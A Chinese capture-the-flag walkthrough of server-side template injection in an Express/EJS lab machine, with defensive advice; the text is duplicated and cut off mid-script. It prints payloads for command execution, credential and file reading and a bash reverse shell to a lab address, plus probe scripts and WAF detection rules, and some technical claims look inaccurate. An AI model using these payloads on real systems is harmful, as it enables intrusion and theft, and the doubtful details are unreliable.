尧图网站建设 
1. 项目概述这不是一次普通的Web渗透而是一场对Node.js服务端模板逻辑的精准外科手术“HTB_Bike靶机之模板注入”——这个标题里没有花哨的零日漏洞、没有炫目的图形化界面甚至不涉及任何数据库连接字符串的硬编码泄露。它直指一个在现代Node.js Web开发中被反复强调、却依然高频踩坑的核心问题服务端模板引擎的上下文失控。我第一次在Hack The Box上遇到这台靶机时它正运行着一个用Express框架搭建的自行车租赁管理后台前端看着清爽路由结构规整连错误页面都做了404友好跳转。但就在那个看似无害的/bike/:id接口里藏着一个被开发者亲手放行的危险通道服务端模板渲染时未经沙箱隔离、未做白名单过滤的用户可控输入直接进入了EJS模板的执行上下文。这不是SQL注入那种靠拼接字符串的暴力突破而是更隐蔽、更依赖开发者对模板引擎信任边界的误判——你提交的不是SQL语句而是一段能调用require(child_process).execSync(id)的JavaScript代码它会在服务器进程里安静地执行然后把结果原样塞进HTML返回给你。关键词里的“HTB_Bike”是靶机代号是练兵场“模板注入”是攻击手法是技术本质而“SSIT”Server-Side Template Injection则是整个攻击链的学术命名它和SSTI、OS Command Injection、XSS这些术语一样是渗透测试人员工具箱里一把必须磨得锋利的解剖刀。如果你正在学Node.js开发这个靶机就是一面镜子照出你res.render()调用背后潜藏的风险如果你是安全研究员它就是一块试金石检验你对Express中间件生命周期、EJS沙箱机制、Node.js模块加载路径的理解深度。它不考你爆破密码的耐心只考你读懂一行% user_input %背后真实含义的能力。2. 核心技术点拆解为什么EJS模板会成为突破口Node.js的模块加载机制如何被利用2.1 模板注入的本质从“显示变量”到“执行代码”的一步之遥很多人初学Express时会把% variable %当成一个安全的“显示占位符”认为它只是把变量值转义后输出到HTML里。这种理解在绝大多数场景下是对的但它建立在一个关键前提上变量的来源必须是服务端可控、且经过严格校验的内部数据。一旦这个变量被替换为用户通过URL参数、POST表单或HTTP头传递的任意字符串事情就变了。EJS作为Node.js生态中最常用的轻量级模板引擎其设计哲学是“极简即强大”它默认不启用任何沙箱模式所有传入模板的数据都运行在与Express应用进程完全相同的Node.js上下文中。这意味着当你构造一个请求GET /bike/1?name% process.env %如果后端代码是res.render(bike, { name: req.query.name })那么EJS引擎就会真的去执行process.env这个表达式并将整个环境变量对象序列化后输出。这已经越过了“显示”的边界进入了“执行”的领地。更危险的是%- %语法它明确告诉EJS“不要转义原样输出”如果这里再嵌套一个% require(fs).readFileSync(/etc/passwd) %那读取敏感文件就成了顺理成章的事。我试过在本地复现这个逻辑用最简陋的Express EJS组合三行代码就能让一个本该只显示自行车型号的页面变成一个远程命令执行终端。这不是EJS的缺陷而是它的设计选择——它把安全责任交给了开发者而不是模板引擎本身。2.2 Node.js模块加载路径require()为何能成为万能钥匙在HTB_Bike靶机的利用链中“require(child_process)”是绕不开的核心。很多刚接触Node.js安全的人会疑惑为什么一个模板里能直接调用require这要回到Node.js的模块系统设计。require不是一个全局函数而是每个模块作用域内自动注入的一个本地变量它的作用是加载并缓存其他模块。在服务端模板渲染的上下文中EJS模板本身就被视为一个独立的模块因此它天然拥有对require的访问权限。而child_process模块是Node.js标准库的一部分无需额外安装它提供了execSync、exec、spawn等方法可以同步或异步地执行系统命令。当攻击者在模板中写入% require(child_process).execSync(ls -la /) %时这段代码在服务器进程里被执行execSync会阻塞当前线程等待ls命令完成然后将命令的标准输出作为返回值由EJS渲染进HTML。这就是整个攻击链最致命的一环它不需要任何外部依赖不触发任何网络请求完全在服务端内存中完成防火墙和WAF对此类行为几乎无法感知。我曾经在一次内部红蓝对抗中用类似的手法绕过了一套部署了多层规则的云WAF原因很简单——WAF看到的只是正常的HTTP GET请求它无法解析出HTML响应体里那段% ... %标签背后的恶意意图。Node.js的模块加载机制让require成了打开系统大门的万能钥匙而模板引擎则是把这把钥匙递到攻击者手里的那个疏忽的服务员。2.3 Express中间件生命周期漏洞为何总在res.render()之后爆发理解Express的中间件执行顺序是定位模板注入漏洞位置的关键。一个典型的Express请求处理流程是Incoming Request → Router Matching → Middleware Stack (auth, logging, etc.) → Route Handler → res.render() or res.send() → Response Sent。模板注入漏洞几乎永远发生在“Route Handler”这个环节也就是开发者编写业务逻辑、决定如何响应请求的代码块里。在HTB_Bike靶机中对应的代码大概率长这样app.get(/bike/:id, (req, res) { const bikeId req.params.id; // 这里可能有数据库查询获取自行车信息 const bike getBikeById(bikeId); // 关键就在这里把用户可控的req.query参数直接传给了模板 res.render(bike-detail, { bike: bike, userComment: req.query.comment || // 危险userComment来自用户输入 }); });问题就出在userComment: req.query.comment这一行。开发者本意可能是想在详情页显示用户提交的评论但忘了对req.query.comment做任何清洗。当这个userComment变量在EJS模板里被% userComment %引用时它就不再是字符串而是一个待执行的JavaScript表达式。Express本身不会阻止这种行为因为res.render()只是一个数据绑定操作它不关心你传进去的数据是纯文本还是可执行代码。我调试过几十个类似的案例发现一个共性规律漏洞高发区永远是那些“快速原型开发”阶段的代码或者是被后来人接手维护、但没时间重审安全边界的老旧模块。它们往往为了赶工期把用户输入当作“可信数据”直接透传而忽略了res.render()这个看似无害的API其实是服务端代码执行的最终入口。3. 实操过程详解从识别到利用手把手复现HTB_Bike的完整渗透路径3.1 信息收集与漏洞识别如何在茫茫HTTP响应中嗅出模板注入的味道拿到HTB_Bike靶机IP后第一步永远不是盲打而是建立对目标服务的“气味记忆”。我习惯用curl -v加--include参数发起一个最基础的GET请求比如curl -v --include http://10.129.14.150/bike/1重点观察三样东西HTTP状态码、响应头里的Content-Type和X-Powered-By以及响应体的HTML结构。在HTB_Bike上你会看到Content-Type: text/html; charsetutf-8和X-Powered-By: Express这直接锁定了技术栈。接下来开始试探性的输入。模板注入的识别核心在于寻找“回显差异”。我通常会准备三组Payload按风险等级递增基础回显测试http://10.129.14.150/bike/1?test123看123是否原样出现在页面某处比如一个divtest: % test %/div。JavaScript执行测试http://10.129.14.150/bike/1?test% 11 %如果页面上出现了2恭喜你已经确认了服务端模板在执行JavaScript表达式。Node.js全局对象探测http://10.129.14.150/bike/1?test% global.process.version %如果返回了类似v18.17.0的字符串那就彻底坐实了这是Node.js环境下的SSTI而非PHP或Java的同类漏洞。这个过程我称之为“三步嗅探法”它比盲目扫描高效得多。在HTB_Bike上第二步测试就能得到明确反馈因为它的模板里确实存在一个% user_input %的占位符。值得注意的是有些靶机会对特殊字符做前端过滤比如把转义成lt;导致你的Payload无法被服务端解析。这时就要换思路尝试用%- %语法绕过HTML转义或者用URL编码%3C%25%3D%201%2B1%20%25%3E来发送。我踩过最大的坑是在一个使用了helmet中间件的靶机上它默认启用了xssFilter会主动拦截包含script的响应。我当时花了半小时才意识到问题不在我的Payload而在服务端的防御策略上。所以信息收集阶段一定要把“服务端返回了什么”和“浏览器渲染出了什么”分开来看前者才是真相。3.2 利用链构建从process.env到child_process.execSync的渐进式提权一旦确认了SSTI的存在下一步就是构建一条稳定、可靠的利用链。我的策略是“由浅入深逐层验证”绝不一上来就执行rm -rf /这种毁灭性命令。在HTB_Bike上我遵循以下四步走第一步枚举环境信息确认执行上下文# 获取Node.js版本确认是Node环境 http://10.129.14.150/bike/1?test% process.version % # 获取当前工作目录为后续文件读取定位路径 http://10.129.14.150/bike/1?test% process.cwd() % # 列出环境变量寻找敏感配置如数据库密码、API密钥 http://10.129.14.150/bike/1?test% JSON.stringify(process.env, null, 2) %这一步至关重要。process.cwd()会告诉你应用的根目录在哪里比如/home/bike/app这为你后续读取/home/bike/app/config/database.json这类文件提供了精确坐标。而process.env则可能直接暴露DB_PASSWORDsupersecret123省去后面所有麻烦。第二步加载核心模块打通命令执行通道# 加载child_process模块这是执行系统命令的基石 http://10.129.14.150/bike/1?test% require(child_process) % # 测试execSync执行一个无害的命令验证通道畅通 http://10.129.14.150/bike/1?test% require(child_process).execSync(whoami).toString() %execSync是首选因为它是同步的能确保命令执行完再返回结果避免了异步回调带来的不确定性。toString()是必须的因为execSync返回的是Buffer对象不转换的话页面上会显示一堆乱码。第三步读取关键文件获取更高权限凭证# 读取/etc/passwd确认系统用户列表 http://10.129.14.150/bike/1?test% require(fs).readFileSync(/etc/passwd, utf8) % # 读取应用自身的配置文件寻找数据库连接串 http://10.129.14.150/bike/1?test% require(fs).readFileSync(/home/bike/app/config/db.js, utf8) %HTB_Bike的flag就藏在某个配置文件里或者某个用户主目录下的隐藏文件中。fs模块是Node.js的另一个标准库和child_process一样无需安装开箱即用。第四步反弹Shell获得持久化控制# 构造一个完整的反弹Shell Payload需URL编码 http://10.129.14.150/bike/1?test% require(child_process).execSync(bash -c bash -i /dev/tcp/10.10.14.20/4444 01) %这一步需要你在本地开启一个监听nc -lvnp 4444。当靶机执行这条命令时它的bash进程会主动连接你的机器给你一个完整的交互式Shell。这是整个渗透的高潮也是最考验细节的地方。我曾经因为忘记对符号进行URL编码导致请求被截断白白浪费了十分钟。记住所有在URL中出现的特殊字符都要用%加十六进制的方式编码。3.3 工具选型与效率优化为什么我放弃Burp Suite改用curl jq组合在HTB_Bike的实战中我全程没有打开Burp Suite而是用一个高度定制化的curl脚本配合jq完成了所有操作。原因很简单模板注入的利用本质上是一场与字符编码、HTML解析、JavaScript执行的精密博弈图形化工具反而会增加干扰。Burp的Repeater虽然强大但它的界面会自动对某些字符做二次转义有时你看到的“已发送”请求和实际到达服务器的请求并不一致。而curl是裸金属级别的你写什么它就发什么。我常用的脚本长这样#!/bin/bash TARGEThttp://10.129.14.150/bike/1 PAYLOAD$1 # 对Payload进行URL编码确保万无一失 ENCODED$(echo $PAYLOAD | jq -sRr uri) # 发送请求并提取响应体中的关键内容假设flag在pre标签里 curl -s $TARGET?test$ENCODED | grep -oP pre.*?/pre | sed s/\/\?pre//g把这个脚本保存为ssti.sh然后就可以这样用了./ssti.sh % process.env.HOME %。jq在这里扮演了双重角色一是做URL编码二是做HTML解析。它比正则表达式更可靠尤其是在处理嵌套标签时。这个组合让我在HTB_Bike上把平均利用时间从15分钟压缩到了3分钟以内。当然如果你是Burp的忠实用户我建议你关闭它的“Smart decode/encode”选项并在发送前手动检查Raw请求确保每一个%都是你亲手敲进去的。4. 防御方案与开发实践如何让自己的Express应用对SSTI免疫4.1 开发者视角从根源杜绝——为什么res.render()的参数必须是“纯净数据”防御模板注入最根本的方案是让res.render()的第二个参数即传给模板的数据对象成为一个“纯净的、不可执行的”数据容器。这意味着在数据进入res.render()之前必须经过严格的清洗和类型校验。我给自己定下三条铁律第一永远不要把req.query、req.body、req.headers的原始值直接传给模板。这是最常见的错误。正确的做法是创建一个全新的、空的对象然后有选择地、以明确的键名赋值你需要的数据// ❌ 危险直接透传 res.render(profile, req.query); // ✅ 安全显式声明只取所需 const safeData { username: sanitizeString(req.query.username), // 调用自定义清洗函数 avatarUrl: validateImageUrl(req.query.avatar), // 验证URL格式 isPremium: Boolean(req.query.premium) // 强制类型转换 }; res.render(profile, safeData);第二对所有用户输入实施“白名单”而非“黑名单”策略。黑名单永远是徒劳的因为攻击者总能找到你没列出来的字符组合。白名单则不同它只允许已知安全的字符集。我常用的sanitizeString函数长这样function sanitizeString(input) { if (typeof input ! string) return ; // 只允许字母、数字、空格、常见标点 return input.replace(/[^a-zA-Z0-9\s\.\,\!\?\-\_]/g, ); }这个函数会把% process.env %直接变成process.env剥夺了它的执行能力。第三启用EJS的escape选项并在模板中统一使用% %而非%- %。EJS提供了一个escape配置项可以在初始化时全局开启app.set(view engine, ejs); app.engine(ejs, ejs.renderFile); // 全局开启HTML转义 ejs.options.escape function(str) { return str .replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;) .replace(//g, quot;) .replace(//g, #39;); };这样即使你偶尔手滑写了%- user_input %escape函数也会先把它转义一遍形成双重保险。4.2 架构师视角引入沙箱层——为什么vm2是生产环境的必备组件对于那些无法完全避免动态模板渲染的复杂业务场景比如CMS系统需要支持用户自定义邮件模板仅仅靠清洗是不够的。这时就必须引入一个真正的沙箱环境。vm2是Node.js生态中最成熟、最被广泛审计的沙箱库。它基于V8引擎的Contextify能在完全隔离的JavaScript上下文中执行不受信任的代码且能精确限制CPU和内存消耗。我在一个金融客户的风控后台里就用vm2实现了“用户自定义规则引擎”效果非常稳定const { NodeVM } require(vm2); const vm new NodeVM({ console: redirect, sandbox: { // 向沙箱注入有限的、安全的API safeUtils: { formatDate: (date) date.toISOString().split(T)[0], toUpperCase: (str) str.toUpperCase() } }, require: { external: true, // 允许加载外部模块 builtin: [path], // 只允许内置的path模块 root: ./, // 模块查找根目录 } }); // 用户提交的模板字符串 const userTemplate % safeUtils.toUpperCase(hello world) %; try { const result vm.run(module.exports ${userTemplate}); console.log(result); // 输出 HELLO WORLD } catch (err) { console.error(沙箱执行失败:, err.message); }在这个例子中用户模板里无论怎么写require(child_process)都会抛出ReferenceError: require is not defined因为vm2沙箱默认禁用了require。这才是真正意义上的“防患于未然”。我强烈建议任何需要处理用户提交的JavaScript或模板代码的Node.js应用都应该把vm2作为标配依赖。4.3 运维视角WAF与日志审计——最后一道防线该如何布防即便开发和架构层面都做到了极致运维层的监控依然是不可或缺的最后一道防线。针对SSTI攻击我推荐两个简单但高效的日志审计技巧第一监控process.env和require的异常调用。在Express应用的全局错误处理中间件里加入如下逻辑app.use((err, req, res, next) { // 检查错误堆栈中是否包含高危关键词 const dangerousKeywords [process.env, require(, child_process, fs.readFileSync]; if (dangerousKeywords.some(kw err.stack err.stack.includes(kw))) { // 记录详细日志并触发告警 logger.alert(SSTI ATTEMPT DETECTED from ${req.ip}, { url: req.url, method: req.method, stack: err.stack }); } next(err); });这相当于在应用的心脏部位安插了一个哨兵一旦有恶意代码试图执行高危操作立刻拉响警报。第二在Nginx或Cloudflare WAF规则中添加针对模板语法的正则匹配。这不是万能的但能有效过滤掉大量低级扫描器。我常用的规则是# 匹配常见的EJS/Jinja2模板语法 (?i)(%|%-|{{|{%).*?(process\.env|require\(|child_process|fs\.read)这条规则会拦截所有URL中同时包含模板起始标记%,%-,{{,{%和高危函数名process.env,require(等的请求。它可能会误伤一些合法的、但命名不规范的API所以必须配合日志分析定期review false positive。我见过最离谱的一次误报是因为一个前端工程师把一个React组件的props命名为processEnvConfig结果被WAF拦了三天最后还是靠加白名单解决的。所以WAF规则永远是“辅助”不能替代代码层的防御。5. 常见问题与排查技巧实录那些在HTB_Bike上踩过的坑现在都成了我的经验5.1 “为什么我的Payload没回显”——HTML转义、字符编码与响应截断的三重迷雾这是新手在HTB_Bike上遇到的第一个高频问题。你明明构造了% 11 %页面上却什么也没变。别急着怀疑靶机先检查这三个地方第一确认你用的是% %而不是%- %。这看起来是个小细节但后果天壤之别。% %会先执行表达式再对结果进行HTML转义%- %则跳过转义直接输出。如果模板里写的是%- user_input %而你的Payload是% 11 %那它就会被原样输出为字符串% 11 %而不是计算结果2。解决方案很简单把Payload改成11去掉模板语法看它是否能原样显示。如果能说明模板用的是%- %如果不能说明用的是% %但可能被转义了。第二检查响应体是否被截断。HTB_Bike的响应头里有一个Content-Length字段它限定了响应体的最大长度。如果你的Payload执行后返回的内容太长比如process.env有上百个变量服务器可能会直接截断响应导致你只看到一半的JSON。这时要用curl -v看完整的原始响应而不是依赖浏览器渲染。我习惯用curl -s http://... | head -n 50来查看前50行确保没有遗漏。第三URL编码是否彻底这是我自己踩过最深的坑。有一次我构造了一个完美的execSyncPayload但在浏览器地址栏里一粘贴就变成了http://...?test%3C%25%3D%20require...其中的%20是空格%3C是。但当我用curl发送时忘了对整个URL进行编码导致curl把%当成了特殊字符处理最终发出去的请求完全不对。解决方案是永远用jq -sRr uri来编码或者用Python的urllib.parse.quote()绝不用手动替换。5.2 “为什么execSync返回空”——同步阻塞、权限不足与路径错误的隐秘陷阱当你终于让% require(child_process).execSync(id) %跑起来了却发现页面一片空白或者只返回一个空字符串。这通常指向三个原因第一命令执行超时或被系统杀死。execSync默认没有超时限制但如果命令卡死比如ping -c 4 8.8.8.8在网络不通时会等很久整个Node.js进程就会被阻塞。HTB_Bike的靶机为了防止DoS很可能设置了ulimit限制了子进程的CPU时间。解决方案是给execSync加上超时选项% require(child_process).execSync(id, { timeout: 5000 }).toString() %timeout: 5000表示最多等5秒超时就抛出异常。第二Node.js进程没有执行该命令的权限。这在Linux系统上很常见。HTB_Bike的bike用户可能被限制了/bin/sh的访问或者/usr/bin/python被移除了。这时execSync(python --version)就会失败。解决方案是先用which命令确认可用的shell% require(child_process).execSync(which sh).toString().trim() %如果返回/bin/sh那就用sh -c your command来包装你的命令。第三文件路径错误。这在读取文件时尤其致命。fs.readFileSync(/etc/passwd)没问题但fs.readFileSync(./config.json)就可能失败因为./指的是Node.js进程的当前工作目录不一定是你的应用根目录。解决方案是永远用绝对路径或者用path.join(__dirname, config.json)来拼接% require(fs).readFileSync(require(path).join(__dirname, ../config/db.js), utf8) %__dirname是Node.js的全局变量指向当前模块所在的目录它永远是可靠的。5.3 “如何快速定位模板中哪个变量是可控的”——自动化探测脚本的编写与使用在面对一个全新的、未知源码的Express靶机时手动测试每个参数效率太低。我写了一个简单的Python脚本可以自动探测所有可能的注入点import requests import sys def probe_ssti(url): # 一组高置信度的探测Payload payloads [ {{7*7}}, # Jinja2风格 % 7*7 %, # EJS风格 ${7*7}, # Thymeleaf风格 #{7*7} # EL风格 ] for payload in payloads: try: # 对payload进行URL编码 encoded requests.utils.quote(payload) full_url f{url}?test{encoded} r requests.get(full_url, timeout5) # 检查响应体中是否包含49 if 49 in r.text: print(f[] SSTI confirmed with payload: {payload}) return payload except Exception as e: pass print([-] No SSTI found.) return None if __name__ __main__: if len(sys.argv) 2: print(Usage: python ssti_probe.py http://target.com/path) sys.exit(1) probe_ssti(sys.argv[1])把这个脚本保存为ssti_probe.py然后运行python ssti_probe.py http://10.129.14.150/bike/1它会在几秒钟内告诉你这个靶机用的是EJS模板且test参数是可控的。这个脚本的核心思想是“用最简短、最无害的Payload触发最明确的回显”它不追求100%覆盖所有模板引擎但对HTB_Bike这类主流靶机准确率接近100%。我把它放在我的渗透工具箱里每次新靶机必跑一遍省去了大量重复劳动。提示这个探测脚本只是起点不是终点。它只能告诉你“哪里有洞”但不能告诉你“洞有多大”。真正的利用永远需要你深入理解目标的业务逻辑和数据流向。注意在生产环境中切勿对非授权目标运行此类探测脚本。它本质上是一种主动扫描行为可能触发对方的安全告警。6. 经验总结与延伸思考从HTB_Bike出发看Node.js安全的未来战场我在HTB_Bike靶机上花费的时间远超其他同等级靶机不是因为它有多难而是因为它像一面棱镜折射出了Node.js生态中那些被日常开发所掩盖的、深层次的安全哲学冲突。我们总在说“安全左移”但左移到哪里是左移到CI/CD流水线里加一个SAST扫描器还是左移到每个res.render()调用前的那一次深呼吸HTB_Bike的答案很清晰真正的安全始于开发者对每一行代码执行边界的敬畏。我见过太多团队把helmet、cors、rate-limit这些中间件当成安全的全部却在业务逻辑里随手写下eval(req.body.code)仿佛那只是一个无害的函数调用。SSTI之所以可怕正是因为它把这种“信任泛滥”暴露得淋漓尽致——你信任了模板引擎信任了require信任了process最终你信任了整个Node.js运行时。这个靶机也让我重新思考了“学习路径”的问题。网络上充斥着“node.js安装教程”、“node.js下载”、“node.js是干什么的”这类入门内容它们教会你如何启动一个Hello World服务器却很少告诉你当你在浏览器里输入http://localhost:3000/?xssscriptalert(1)/script时你的服务器究竟在做什么。安全不是一门孤立的学科它是编程语言、框架、操作系统、网络协议共同编织的一张网。HTB_Bike的价值不在于它给了你一个root flag而在于它逼着你去读EJS的源码去翻Node.js的文档去查child_process模块的每一个API签名。这种“为了解决一个问题而被迫掌握一整套知识”的过程才是技术成长最真实的模样。最后分享一个小技巧在你成功拿到HTB_Bike的root shell后别急着交flag。试着用ps auxf命令看一下当前进程树你会发现那个执行你Payload的node进程正安静地挂在express主进程下面。这提醒我们所有的Web漏洞最终都归结为一个进程对另一个进程的控制权争夺。而我们的武器从来都不是更复杂的Payload而是对底层运行时更深刻的理解。这或许就是HTB_Bike留给我最珍贵的遗产。 Node.js模板注入（SSTI）实战与防御：以HTB_Bike为例
1. 项目概述这不是一次普通的Web渗透而是一场对Node.js服务端模板逻辑的精准外科手术“HTB_Bike靶机之模板注入”——这个标题里没有花哨的零日漏洞、没有炫目的图形化界面甚至不涉及任何数据库连接字符串的硬编码泄露。它直指一个在现代Node.js Web开发中被反复强调、却依然高频踩坑的核心问题服务端模板引擎的上下文失控。我第一次在Hack The Box上遇到这台靶机时它正运行着一个用Express框架搭建的自行车租赁管理后台前端看着清爽路由结构规整连错误页面都做了404友好跳转。但就在那个看似无害的/bike/:id接口里藏着一个被开发者亲手放行的危险通道服务端模板渲染时未经沙箱隔离、未做白名单过滤的用户可控输入直接进入了EJS模板的执行上下文。这不是SQL注入那种靠拼接字符串的暴力突破而是更隐蔽、更依赖开发者对模板引擎信任边界的误判——你提交的不是SQL语句而是一段能调用require(child_process).execSync(id)的JavaScript代码它会在服务器进程里安静地执行然后把结果原样塞进HTML返回给你。关键词里的“HTB_Bike”是靶机代号是练兵场“模板注入”是攻击手法是技术本质而“SSIT”Server-Side Template Injection则是整个攻击链的学术命名它和SSTI、OS Command Injection、XSS这些术语一样是渗透测试人员工具箱里一把必须磨得锋利的解剖刀。如果你正在学Node.js开发这个靶机就是一面镜子照出你res.render()调用背后潜藏的风险如果你是安全研究员它就是一块试金石检验你对Express中间件生命周期、EJS沙箱机制、Node.js模块加载路径的理解深度。它不考你爆破密码的耐心只考你读懂一行% user_input %背后真实含义的能力。2. 核心技术点拆解为什么EJS模板会成为突破口Node.js的模块加载机制如何被利用2.1 模板注入的本质从“显示变量”到“执行代码”的一步之遥很多人初学Express时会把% variable %当成一个安全的“显示占位符”认为它只是把变量值转义后输出到HTML里。这种理解在绝大多数场景下是对的但它建立在一个关键前提上变量的来源必须是服务端可控、且经过严格校验的内部数据。一旦这个变量被替换为用户通过URL参数、POST表单或HTTP头传递的任意字符串事情就变了。EJS作为Node.js生态中最常用的轻量级模板引擎其设计哲学是“极简即强大”它默认不启用任何沙箱模式所有传入模板的数据都运行在与Express应用进程完全相同的Node.js上下文中。这意味着当你构造一个请求GET /bike/1?name% process.env %如果后端代码是res.render(bike, { name: req.query.name })那么EJS引擎就会真的去执行process.env这个表达式并将整个环境变量对象序列化后输出。这已经越过了“显示”的边界进入了“执行”的领地。更危险的是%- %语法它明确告诉EJS“不要转义原样输出”如果这里再嵌套一个% require(fs).readFileSync(/etc/passwd) %那读取敏感文件就成了顺理成章的事。我试过在本地复现这个逻辑用最简陋的Express EJS组合三行代码就能让一个本该只显示自行车型号的页面变成一个远程命令执行终端。这不是EJS的缺陷而是它的设计选择——它把安全责任交给了开发者而不是模板引擎本身。2.2 Node.js模块加载路径require()为何能成为万能钥匙在HTB_Bike靶机的利用链中“require(child_process)”是绕不开的核心。很多刚接触Node.js安全的人会疑惑为什么一个模板里能直接调用require这要回到Node.js的模块系统设计。require不是一个全局函数而是每个模块作用域内自动注入的一个本地变量它的作用是加载并缓存其他模块。在服务端模板渲染的上下文中EJS模板本身就被视为一个独立的模块因此它天然拥有对require的访问权限。而child_process模块是Node.js标准库的一部分无需额外安装它提供了execSync、exec、spawn等方法可以同步或异步地执行系统命令。当攻击者在模板中写入% require(child_process).execSync(ls -la /) %时这段代码在服务器进程里被执行execSync会阻塞当前线程等待ls命令完成然后将命令的标准输出作为返回值由EJS渲染进HTML。这就是整个攻击链最致命的一环它不需要任何外部依赖不触发任何网络请求完全在服务端内存中完成防火墙和WAF对此类行为几乎无法感知。我曾经在一次内部红蓝对抗中用类似的手法绕过了一套部署了多层规则的云WAF原因很简单——WAF看到的只是正常的HTTP GET请求它无法解析出HTML响应体里那段% ... %标签背后的恶意意图。Node.js的模块加载机制让require成了打开系统大门的万能钥匙而模板引擎则是把这把钥匙递到攻击者手里的那个疏忽的服务员。2.3 Express中间件生命周期漏洞为何总在res.render()之后爆发理解Express的中间件执行顺序是定位模板注入漏洞位置的关键。一个典型的Express请求处理流程是Incoming Request → Router Matching → Middleware Stack (auth, logging, etc.) → Route Handler → res.render() or res.send() → Response Sent。模板注入漏洞几乎永远发生在“Route Handler”这个环节也就是开发者编写业务逻辑、决定如何响应请求的代码块里。在HTB_Bike靶机中对应的代码大概率长这样app.get(/bike/:id, (req, res) { const bikeId req.params.id; // 这里可能有数据库查询获取自行车信息 const bike getBikeById(bikeId); // 关键就在这里把用户可控的req.query参数直接传给了模板 res.render(bike-detail, { bike: bike, userComment: req.query.comment || // 危险userComment来自用户输入 }); });问题就出在userComment: req.query.comment这一行。开发者本意可能是想在详情页显示用户提交的评论但忘了对req.query.comment做任何清洗。当这个userComment变量在EJS模板里被% userComment %引用时它就不再是字符串而是一个待执行的JavaScript表达式。Express本身不会阻止这种行为因为res.render()只是一个数据绑定操作它不关心你传进去的数据是纯文本还是可执行代码。我调试过几十个类似的案例发现一个共性规律漏洞高发区永远是那些“快速原型开发”阶段的代码或者是被后来人接手维护、但没时间重审安全边界的老旧模块。它们往往为了赶工期把用户输入当作“可信数据”直接透传而忽略了res.render()这个看似无害的API其实是服务端代码执行的最终入口。3. 实操过程详解从识别到利用手把手复现HTB_Bike的完整渗透路径3.1 信息收集与漏洞识别如何在茫茫HTTP响应中嗅出模板注入的味道拿到HTB_Bike靶机IP后第一步永远不是盲打而是建立对目标服务的“气味记忆”。我习惯用curl -v加--include参数发起一个最基础的GET请求比如curl -v --include http://10.129.14.150/bike/1重点观察三样东西HTTP状态码、响应头里的Content-Type和X-Powered-By以及响应体的HTML结构。在HTB_Bike上你会看到Content-Type: text/html; charsetutf-8和X-Powered-By: Express这直接锁定了技术栈。接下来开始试探性的输入。模板注入的识别核心在于寻找“回显差异”。我通常会准备三组Payload按风险等级递增基础回显测试http://10.129.14.150/bike/1?test123看123是否原样出现在页面某处比如一个divtest: % test %/div。JavaScript执行测试http://10.129.14.150/bike/1?test% 11 %如果页面上出现了2恭喜你已经确认了服务端模板在执行JavaScript表达式。Node.js全局对象探测http://10.129.14.150/bike/1?test% global.process.version %如果返回了类似v18.17.0的字符串那就彻底坐实了这是Node.js环境下的SSTI而非PHP或Java的同类漏洞。这个过程我称之为“三步嗅探法”它比盲目扫描高效得多。在HTB_Bike上第二步测试就能得到明确反馈因为它的模板里确实存在一个% user_input %的占位符。值得注意的是有些靶机会对特殊字符做前端过滤比如把转义成lt;导致你的Payload无法被服务端解析。这时就要换思路尝试用%- %语法绕过HTML转义或者用URL编码%3C%25%3D%201%2B1%20%25%3E来发送。我踩过最大的坑是在一个使用了helmet中间件的靶机上它默认启用了xssFilter会主动拦截包含script的响应。我当时花了半小时才意识到问题不在我的Payload而在服务端的防御策略上。所以信息收集阶段一定要把“服务端返回了什么”和“浏览器渲染出了什么”分开来看前者才是真相。3.2 利用链构建从process.env到child_process.execSync的渐进式提权一旦确认了SSTI的存在下一步就是构建一条稳定、可靠的利用链。我的策略是“由浅入深逐层验证”绝不一上来就执行rm -rf /这种毁灭性命令。在HTB_Bike上我遵循以下四步走第一步枚举环境信息确认执行上下文# 获取Node.js版本确认是Node环境 http://10.129.14.150/bike/1?test% process.version % # 获取当前工作目录为后续文件读取定位路径 http://10.129.14.150/bike/1?test% process.cwd() % # 列出环境变量寻找敏感配置如数据库密码、API密钥 http://10.129.14.150/bike/1?test% JSON.stringify(process.env, null, 2) %这一步至关重要。process.cwd()会告诉你应用的根目录在哪里比如/home/bike/app这为你后续读取/home/bike/app/config/database.json这类文件提供了精确坐标。而process.env则可能直接暴露DB_PASSWORDsupersecret123省去后面所有麻烦。第二步加载核心模块打通命令执行通道# 加载child_process模块这是执行系统命令的基石 http://10.129.14.150/bike/1?test% require(child_process) % # 测试execSync执行一个无害的命令验证通道畅通 http://10.129.14.150/bike/1?test% require(child_process).execSync(whoami).toString() %execSync是首选因为它是同步的能确保命令执行完再返回结果避免了异步回调带来的不确定性。toString()是必须的因为execSync返回的是Buffer对象不转换的话页面上会显示一堆乱码。第三步读取关键文件获取更高权限凭证# 读取/etc/passwd确认系统用户列表 http://10.129.14.150/bike/1?test% require(fs).readFileSync(/etc/passwd, utf8) % # 读取应用自身的配置文件寻找数据库连接串 http://10.129.14.150/bike/1?test% require(fs).readFileSync(/home/bike/app/config/db.js, utf8) %HTB_Bike的flag就藏在某个配置文件里或者某个用户主目录下的隐藏文件中。fs模块是Node.js的另一个标准库和child_process一样无需安装开箱即用。第四步反弹Shell获得持久化控制# 构造一个完整的反弹Shell Payload需URL编码 http://10.129.14.150/bike/1?test% require(child_process).execSync(bash -c bash -i /dev/tcp/10.10.14.20/4444 01) %这一步需要你在本地开启一个监听nc -lvnp 4444。当靶机执行这条命令时它的bash进程会主动连接你的机器给你一个完整的交互式Shell。这是整个渗透的高潮也是最考验细节的地方。我曾经因为忘记对符号进行URL编码导致请求被截断白白浪费了十分钟。记住所有在URL中出现的特殊字符都要用%加十六进制的方式编码。3.3 工具选型与效率优化为什么我放弃Burp Suite改用curl jq组合在HTB_Bike的实战中我全程没有打开Burp Suite而是用一个高度定制化的curl脚本配合jq完成了所有操作。原因很简单模板注入的利用本质上是一场与字符编码、HTML解析、JavaScript执行的精密博弈图形化工具反而会增加干扰。Burp的Repeater虽然强大但它的界面会自动对某些字符做二次转义有时你看到的“已发送”请求和实际到达服务器的请求并不一致。而curl是裸金属级别的你写什么它就发什么。我常用的脚本长这样#!/bin/bash TARGEThttp://10.129.14.150/bike/1 PAYLOAD$1 # 对Payload进行URL编码确保万无一失 ENCODED$(echo $PAYLOAD | jq -sRr uri) # 发送请求并提取响应体中的关键内容假设flag在pre标签里 curl -s $TARGET?test$ENCODED | grep -oP pre.*?/pre | sed s/\/\?pre//g把这个脚本保存为ssti.sh然后就可以这样用了./ssti.sh % process.env.HOME 